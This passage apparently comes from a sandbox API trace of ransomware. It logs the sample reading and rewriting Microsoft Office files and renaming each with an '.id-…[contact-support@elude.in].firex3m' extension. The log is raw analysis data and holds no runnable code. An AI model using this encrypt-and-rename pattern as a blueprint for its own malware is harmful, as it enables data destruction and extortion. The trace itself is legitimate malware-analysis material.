Size=0x281) returned 0x6ecd9f8 [0146.894] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.894] ReadFile (in: hFile=0x674, lpBuffer=0x6ecec90, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecec90*, lpNumberOfBytesRead=0x4e7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.899] GetProcessHeap () returned 0x630000 [0146.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.900] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.900] WriteFile (in: hFile=0x674, lpBuffer=0x6ecd9f8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd9f8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.900] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.900] WriteFile (in: hFile=0x674, lpBuffer=0x6ecdc57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecdc57*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.900] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.900] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.900] CloseHandle (hObject=0x674) returned 1 [0146.900] GetProcessHeap () returned 0x630000 [0146.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd9f8 | out: hHeap=0x630000) returned 1 [0146.900] GetProcessHeap () returned 0x630000 [0146.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecec90 | out: hHeap=0x630000) returned 1 [0146.900] GetProcessHeap () returned 0x630000 [0146.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.900] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d80d8af, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x4e7fd20, dwReserved1=0x6ecec90, cFileName="GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~4.FIR")) returned 0x6d53c0 [0146.901] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.901] Sleep (dwMilliseconds=0x1) [0148.061] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", len=0x49 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX") returned 1 [0148.062] GetProcessHeap () returned 0x630000 [0148.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x268c) returned 0x71f7c78 [0148.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0149.593] CloseHandle (hObject=0x6f8) returned 1 [0149.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4571e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0149.594] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0149.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0149.594] GetProcessHeap () returned 0x630000 [0149.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x710de08 [0149.595] GetProcessHeap () returned 0x630000 [0149.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7119238 [0149.595] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.595] ReadFile (in: hFile=0x6f8, lpBuffer=0x710de08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710de08*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.583] GetProcessHeap () returned 0x630000 [0158.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0158.583] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.584] WriteFile (in: hFile=0x6f8, lpBuffer=0x7119238*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7119238*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.584] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.584] WriteFile (in: hFile=0x6f8, lpBuffer=0x7124637*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7124637*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.587] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.587] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.588] CloseHandle (hObject=0x6f8) returned 1 [0158.588] GetProcessHeap () returned 0x630000 [0158.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7119238 | out: hHeap=0x630000) returned 1 [0158.588] GetProcessHeap () returned 0x630000 [0158.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710de08 | out: hHeap=0x630000) returned 1 [0158.588] GetProcessHeap () returned 0x630000 [0158.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0158.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2478945e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x45742, dwReserved0=0xbc87496, dwReserved1=0x710de00, cFileName="PREVIEWTEMPLATE.POTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5400 [0158.588] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0158.588] Sleep (dwMilliseconds=0x1) [0158.592] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml") returned 1 [0158.592] GetProcessHeap () returned 0x630000 [0158.592] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c14) returned 0x707d3d0 [0158.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0158.593] CloseHandle (hObject=0x6f8) returned 1 [0158.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.594] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0158.595] GetProcessHeap () returned 0x630000 [0158.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x717648 [0158.595] GetProcessHeap () returned 0x630000 [0158.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1141) returned 0x7177cb8 [0158.595] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] ReadFile (in: hFile=0x6f8, lpBuffer=0x717648, nNumberOfBytesToRead=0x1120, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x4e7ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.348] GetProcessHeap () returned 0x630000 [0160.348] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0160.348] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.348] WriteFile (in: hFile=0x6f8, lpBuffer=0x7177cb8*, nNumberOfBytesToWrite=0x1120, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7177cb8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x1120, lpOverlapped=0x0) returned 1 [0160.348] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.348] WriteFile (in: hFile=0x6f8, lpBuffer=0x7178dd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7178dd7*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.348] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.349] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.349] CloseHandle (hObject=0x6f8) returned 1 [0160.349] GetProcessHeap () returned 0x630000 [0160.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177cb8 | out: hHeap=0x630000) returned 1 [0160.349] GetProcessHeap () returned 0x630000 [0160.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0160.349] GetProcessHeap () returned 0x630000 [0160.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0161.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2585fef6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1159, dwReserved0=0xbc87496, dwReserved1=0x717640, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0161.048] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0161.048] Sleep (dwMilliseconds=0x1) [0161.100] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml") returned 1 [0161.100] GetProcessHeap () returned 0x630000 [0161.100] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd4) returned 0x707d3d0 [0161.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.106] CloseHandle (hObject=0x5ec) returned 1 [0161.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167f56e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114b, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0161.107] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0161.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.107] GetProcessHeap () returned 0x630000 [0161.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x722a78 [0161.107] GetProcessHeap () returned 0x630000 [0161.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x72369e8 [0161.107] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.107] ReadFile (in: hFile=0x5ec, lpBuffer=0x722a78, nNumberOfBytesToRead=0x1140, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x4e7ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0161.139] GetProcessHeap () returned 0x630000 [0161.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0161.139] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.139] WriteFile (in: hFile=0x5ec, lpBuffer=0x72369e8*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0161.139] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.139] WriteFile (in: hFile=0x5ec, lpBuffer=0x7237b27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237b27*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.139] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.139] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.140] CloseHandle (hObject=0x5ec) returned 1 [0161.140] GetProcessHeap () returned 0x630000 [0161.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0161.140] GetProcessHeap () returned 0x630000 [0161.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.140] GetProcessHeap () returned 0x630000 [0161.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0161.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167f56e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25ff97ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x116f, dwReserved0=0xbc87496, dwReserved1=0x722a70, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0161.140] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0161.140] Sleep (dwMilliseconds=0x1) [0161.167] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml") returned 1 [0161.167] GetProcessHeap () returned 0x630000 [0161.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc8) returned 0x707d3d0 [0161.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.168] CloseHandle (hObject=0x6a4) returned 1 [0161.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft 